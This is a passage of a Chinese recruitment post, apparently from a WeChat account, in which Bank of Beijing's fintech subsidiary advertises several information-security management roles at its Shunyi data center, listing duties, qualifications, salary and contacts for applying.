<p>北京银行旗下全资子公司北银金融科技公司具有国企背景，公司高层全部由北京银行派出的领导组成。北银金融科技公司员工同时享受市场化工资待遇、全额五险一金和北京银行员工的免费食堂三餐、培训机会、正式固定办公工位及更衣柜、洗衣券、节日礼品等福利。</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6c5fbb9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoDJFClvs0LZqQwQ8I83pMb6YYQuJiaRPprmFqY6sFsYTicwnGqhLVoial7icC4rpfyYbKKwN45OiciaHiaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;">公司</span></strong><strong><span style="font-size: 24px;font-family: 宋体;">简介</span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;">北京银行旗下全资子公司北银金融科技公司具有</span><strong><span style="font-family: 宋体;font-size: 14px;">国企背景，</span></strong><span style="font-family: 宋体;font-size: 14px;">公司高层全部由北京银行派出的领导组成。</span><span style="font-family: 宋体;">北银金融科技公司员工同时享受</span><strong><span style="font-family: 宋体;">市场化工资待遇</span></strong><span style="font-family: 宋体;">、全额五险一金和北京银行员工的</span><strong><span style="font-family: 宋体;">免费食</span></strong><span style="font-family: 宋体;">堂三餐、培训机会、正式固定办公工位及更衣柜、洗衣券、节日礼品等福利。</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;color: rgb(255, 0, 0);">试用期间薪资<span style="font-family:Calibri;">100%</span>发放，有满额五险一金，任职满一年增加补充医疗、任职满两年增加企业年金</span></strong><span style="font-family: 宋体;">（上述政策以人力最终<span style="font-family:Calibri;">offer</span>通知为准）</span><span style="font-family: 宋体;font-size: 14px;"></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;"></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"> </span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗（内控方向）</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北银顺义数据中心</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位职责：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">负责全行信息安全体系规划，风险防范和制度规范建设，健全管理体系制度要求，跟进组织安全应急响应流程、安全基线的编写与归档；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">负责国家安全相关政策标准解读，并与行内系统对标，提出安全合规建议；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">负责协调内外审计，审查行内安全相关流程是否合规，监督、审查岗位安全要求落实情况，归口对接支持工作；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">负责健全安全绩效考核体系和考核标准；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">负责研究信息安全等级保护相关政策要求并推进落地。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位要求：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">具有较强的语言表达能力，工作认真细致。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">统招本科及以上学历，信息安全、电子信息、计算机等相关专业，至少需</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">年工作经验。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">工作态度积极主动，对于不熟悉的领域勇于学习探索。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">具备</span><span style="font-family:Calibri;">CISSP\CISP\CISM\CCIE\CISA\27001</span><span style="font-family:宋体;">审核员等相关证书优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">具有甲方安全团队及金融行业从业经验，项目经验领域广泛者优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">6. </span><span style="font-family:宋体;">对岗位有深入理解，做好经验积累和传导，对分行提供信息安全方面支持。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗（服务方向）</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北银顺义数据中心</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位职责</span></strong><span style="font-family: 宋体;font-size: 14px;">：</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">负责安全技术研究，探索前沿信息安全技术架构，对行内部门提供安全支撑，推进项目进展，不断提升北京银行安全体系架构防护能力；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">负责安全攻防项目管理，组织对行内系统进行安全评估，并持续跟进安全漏洞整改；负责组建攻防团队，并参与攻防演练竞赛；需具有独立的</span><span style="font-family:Calibri;">app\web</span><span style="font-family:宋体;">漏洞挖掘、攻防演练、内网渗透等能力，曾上过大型公司</span><span style="font-family:Calibri;">SRC</span><span style="font-family:宋体;">排行榜优先；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">负责主机安全管理，组织开展主机防病毒、入侵检测等项目实施工作，并具有主机应急响应经验，能够根据主机日志对安全事件进行溯源分析，负责相关产品的部署、实施、日常运维；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">负责行内系统的安全架构评估，对项目生命周期进行安全把控，对接其他部室和分支机构，提供安全解决方案和安全服务。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">备注：</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">至少具有其中一项能力即可。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位要求：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">具有较强的语言表达能力，工作认真细致。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">统招本科及以上学历，信息安全、电子信息、计算机等相关专业，至少需</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">年工作经验。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">工作态度积极主动，对于不熟悉的领域勇于学习探索。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">具备</span><span style="font-family:Calibri;">CISSP\CISP\CISM\CCIE\CISA\27001</span><span style="font-family:宋体;">审核员等相关证书优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">具有甲方安全团队及金融行业从业经验，项目经验领域广泛者优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">6. </span><span style="font-family:宋体;">对岗位有深入理解，做好经验积累和传导，对分行提供信息安全方面支持。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗（监控方向）</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北银顺义数据中心</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位职责：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">负责全行信息安全实时监控体系的规划、部署、运维及策略优化工作，实现全行信息安全态势实时监控，并负责安全事件应急响应，本岗位要求需具备</span><span style="font-family:Calibri;">HW</span><span style="font-family:宋体;">相关经验；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">负责制定我行安全数据采集标准规范，统一分析安全告警、日志；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">及时掌握安全事件舆情信息动态，并及时完善策略，提升平台威胁发现能力；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">研究、建立信息安全威胁处置和自动化运维联动机制；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">负责安全设备的规划、部署和日常运维，包含</span><span style="font-family:Calibri;">WAF</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">IPS</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">IDS</span><span style="font-family:宋体;">、蜜罐、态势感知、堡垒机等。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位要求：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">具有较强的语言表达能力，工作认真细致。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">统招本科及以上学历，信息安全、电子信息、计算机等相关专业，至少需</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">年工作经验。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">工作态度积极主动，对于不熟悉的领域勇于学习探索。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">具备</span><span style="font-family:Calibri;">CISSP\CISP\CISM\CCIE\CISA\27001</span><span style="font-family:宋体;">审核员等相关证书优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">具有甲方安全团队及金融行业从业经验，项目经验领域广泛者优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">6. </span><span style="font-family:宋体;">对岗位有深入理解，做好经验积累和传导，对分行提供信息安全方面支持。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗（防御方向）</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北银顺义数据中心</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位职责：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">负责数据中心安全防御体系建设与维护，安全域规划设置，结合行业信息安全发展动向对我行生产网及办公网访问控制规则提出安全防范与控制建议；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">负责防火墙、</span><span style="font-family:Calibri;">VPN</span><span style="font-family:宋体;">网络运维管理，对接访问控制相关需求评审和执行，设备规划、部署和日常运维。需精通主流防火墙工作原理、配置方法与故障处置，如华为、飞塔、山石、思科等，以及对国产品牌有一定了解如天融信、迪普等；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">规划、设计和部署全行桌面病毒防护系统，归类总结病毒危害事件，制定最佳实践和应急流程；规划终端数据安全管理机制，如准入、终端水印、</span><span style="font-family:Calibri;">DLP</span><span style="font-family:宋体;">、无线网等，具有零信任实践经验优先；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">负责网络安全攻击事件的应急响应处置工作，如阻断</span><span style="font-family:Calibri;">IP</span><span style="font-family:宋体;">等，并进行分析和总结，进行策略优化。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">备注：</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">具有其中一项能力即可。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位要求：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1. </span><span style="font-family:宋体;">具有较强的语言表达能力，工作认真细致。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2. </span><span style="font-family:宋体;">统招本科及以上学历，信息安全、电子信息、计算机等相关专业，至少需</span><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">年工作经验。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3. </span><span style="font-family:宋体;">工作态度积极主动，对于不熟悉的领域勇于学习探索。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4. </span><span style="font-family:宋体;">具备</span><span style="font-family:Calibri;">CISSP\CISP\CISM\CCIE\CISA\27001</span><span style="font-family:宋体;">审核员等相关证书优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">5. </span><span style="font-family:宋体;">具有甲方安全团队及金融行业从业经验，项目经验领域广泛者优先。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">6. </span><span style="font-family:宋体;">对岗位有深入理解，做好经验积累和传导，对分行提供信息安全方面支持。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">待遇：</span><span style="font-family:Calibri;">30K-60K </span><span style="font-family:宋体;">能力强上不封顶</span></span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作地点</span></strong><span style="font-family: 宋体;font-size: 14px;">：顺义</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">邮箱投递：</span></strong><span style="text-decoration:underline;"><span style="font-family: 宋体;color: rgb(0, 0, 255);"><span style="font-family:Calibri;">renjunfeng@bobfintech.com.cn</span></span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">微信投递</span></strong><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">13241087707</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;"> </span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;font-family: 宋体;"><span style="font-size: 24px;font-family: 宋体;">信息安全管理岗</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">内控合规方向</span><span style="font-size: 24px;font-family: Calibri;">-</span><span style="font-size: 24px;font-family: 宋体;">北京银行顺义</span></span></strong></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">职位描述</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">工作职责</span></strong><strong><span style="font-family: 宋体;font-size: 14px;">（</span></strong><strong><span style="font-family: 宋体;font-size: 14px;">管理岗</span></strong><strong><span style="font-family: 宋体;font-size: 14px;">）：</span></strong></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;">本岗位在北京银行数据中心顺义马坡工作，根据北京银行领导的要求执行信息安全系统建设和信息安全管理工作，并对软硬件原厂工程师和各乙方驻场工程师进行管理。</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><strong><span style="font-family: 宋体;font-size: 14px;">岗位职责</span></strong><span style="font-family: 宋体;font-size: 14px;">：</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1.</span><span style="font-family:宋体;">负责网络信息安全体系相关安全管理制度，编写安全记录文档并归档；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2.</span><span style="font-family:宋体;">负责审查信息安全流程，制度，是否合规；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">3.</span><span style="font-family:宋体;">研究国家等级保护法规和政策，制定等保测评框架，对接协调各部门进行等保测评工作；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">4.</span><span style="font-family:宋体;">对北京银行输出信息安全解决方案。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;">岗位要求：</span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">1.</span><span style="font-family:宋体;">大学统招本科毕业或本科以上，学信网或民信网可查，有学历和学位证书，非专升本。</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">2.</span><span style="font-family:宋体;">了解各类安全体系模型；</span></span></p><p style="font-family: 0 0 0;font-family: Calibri;font-size: 14px;color: rgb(0, 